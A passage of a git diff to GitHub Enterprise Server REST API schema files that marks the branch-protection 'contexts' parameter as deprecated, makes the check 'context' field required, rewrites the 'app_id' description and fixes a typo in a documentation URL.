", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36749,6 +36757,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + "contexts": { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } }, "required": [ @@ -36859,14 +36879,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -36874,10 +36895,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36886,11 +36910,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -36907,7 +36931,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36916,11 +36940,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36953,14 +36977,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -36968,10 +36993,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36980,11 +37008,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37001,7 +37029,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37010,11 +37038,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37030,7 +37058,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37039,11 +37067,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37431,6 +37459,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } ] }, @@ -38660,7 +38700,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.0/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.0/rest/reference/repos#update-status-check-protection" }, "requestBody": { "required": false, @@ -38680,6 +38720,7 @@ }, "contexts": { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" @@ -38727,6 +38768,7 @@ }, { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" diff --git a/lib/rest/static/decorated/ghes-3.1.json b/lib/rest/static/decorated/ghes-3.1.json index 9ea6f35bfa..ddb466790f 100644 --- a/lib/rest/static/decorated/ghes-3.1.json +++ b/lib/rest/static/decorated/ghes-3.1.json @@ -36299,14 +36299,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -36314,10 +36315,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36326,11 +36330,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -36347,7 +36351,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36356,11 +36360,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36393,14 +36397,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -36408,10 +36413,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36420,11 +36428,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -36441,7 +36449,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36450,11 +36458,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36470,7 +36478,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -36479,11 +36487,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -36871,6 +36879,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + "contexts": { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } }, "required": [ @@ -36981,14 +37001,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -36996,10 +37017,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37008,11 +37032,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37029,7 +37053,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37038,11 +37062,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37075,14 +37099,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -37090,10 +37115,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37102,11 +37130,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37123,7 +37151,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37132,11 +37160,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37152,7 +37180,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37161,11 +37189,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37553,6 +37581,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } ] }, @@ -38782,7 +38822,7 @@ "operationId": "repos/update-status-check-protection", "externalDocs": { "description": "API method documentation", - "url": "https://docs.github.com/enterprise-server@3.1/rest/reference/repos#update-status-check-potection" + "url": "https://docs.github.com/enterprise-server@3.1/rest/reference/repos#update-status-check-protection" }, "requestBody": { "required": false, @@ -38802,6 +38842,7 @@ }, "contexts": { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" @@ -38849,6 +38890,7 @@ }, { "type": "array of strings", + "deprecated": true, "description": "

The list of status checks to require in order to merge into this branch

", "items": { "type": "string" diff --git a/lib/rest/static/decorated/ghes-3.2.json b/lib/rest/static/decorated/ghes-3.2.json index 83f1f5d6c9..32ce1b8c67 100644 --- a/lib/rest/static/decorated/ghes-3.2.json +++ b/lib/rest/static/decorated/ghes-3.2.json @@ -37545,14 +37545,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -37560,10 +37561,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37572,11 +37576,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37593,7 +37597,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37602,11 +37606,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37639,14 +37643,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, { @@ -37654,10 +37659,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37666,11 +37674,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -37687,7 +37695,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37696,11 +37704,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -37716,7 +37724,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -37725,11 +37733,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38117,6 +38125,18 @@ "rawType": "boolean", "rawDescription": "Requires all conversations on code to be resolved before a pull request can be merged into a branch that matches this rule. Set to `false` to disable. Default: `false`.", "childParamsGroups": [] + }, + "contexts": { + "type": "array of strings", + "description": "

The list of status checks to require in order to merge into this branch.

", + "items": { + "type": "string" + }, + "name": "contexts", + "in": "body", + "rawType": "array", + "rawDescription": "The list of status checks to require in order to merge into this branch.", + "childParamsGroups": [] } }, "required": [ @@ -38227,14 +38247,15 @@ }, "contexts": { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", "items": { "type": "string" }, "name": "contexts", "in": "body", "rawType": "array", - "rawDescription": "The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.", + "rawDescription": "**Deprecated**: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use `checks` instead of `contexts` for more fine-grained control.\n", "childParamsGroups": [] }, "checks": { @@ -38242,10 +38263,13 @@ "description": "

The list of status checks to require in order to merge into this branch.

", "items": { "type": "object", + "required": [ + "context" + ], "properties": { "context": { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38254,11 +38278,11 @@ }, "app_id": { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } } @@ -38275,7 +38299,7 @@ "params": [ { "type": "string", - "description": "

The name of the required check

", + "description": "

Required. The name of the required check

", "name": "context", "in": "body", "rawType": "string", @@ -38284,11 +38308,11 @@ }, { "type": "integer", - "description": "

The ID of the GitHub App that must provide this check. Set to null to accept the check from any source.

", + "description": "

The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.

", "name": "app_id", "in": "body", "rawType": "integer", - "rawDescription": "The ID of the GitHub App that must provide this check. Set to `null` to accept the check from any source.", + "rawDescription": "The ID of the GitHub App that must provide this check. Omit this field to automatically select the GitHub App that has recently provided this check, or any app if it was not set by a GitHub App.", "childParamsGroups": [] } ] @@ -38321,14 +38345,15 @@ }, { "type": "array of strings", - "description": "

Required. The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

", + "deprecated": true, + "description": "

Required. Deprecated: The list of status checks to require in order to merge into this branch. If any of these checks have recently been set by a particular GitHub App, they will be required to come from that app in future for the branch to merge. Use checks instead of contexts for more fine-grained control.

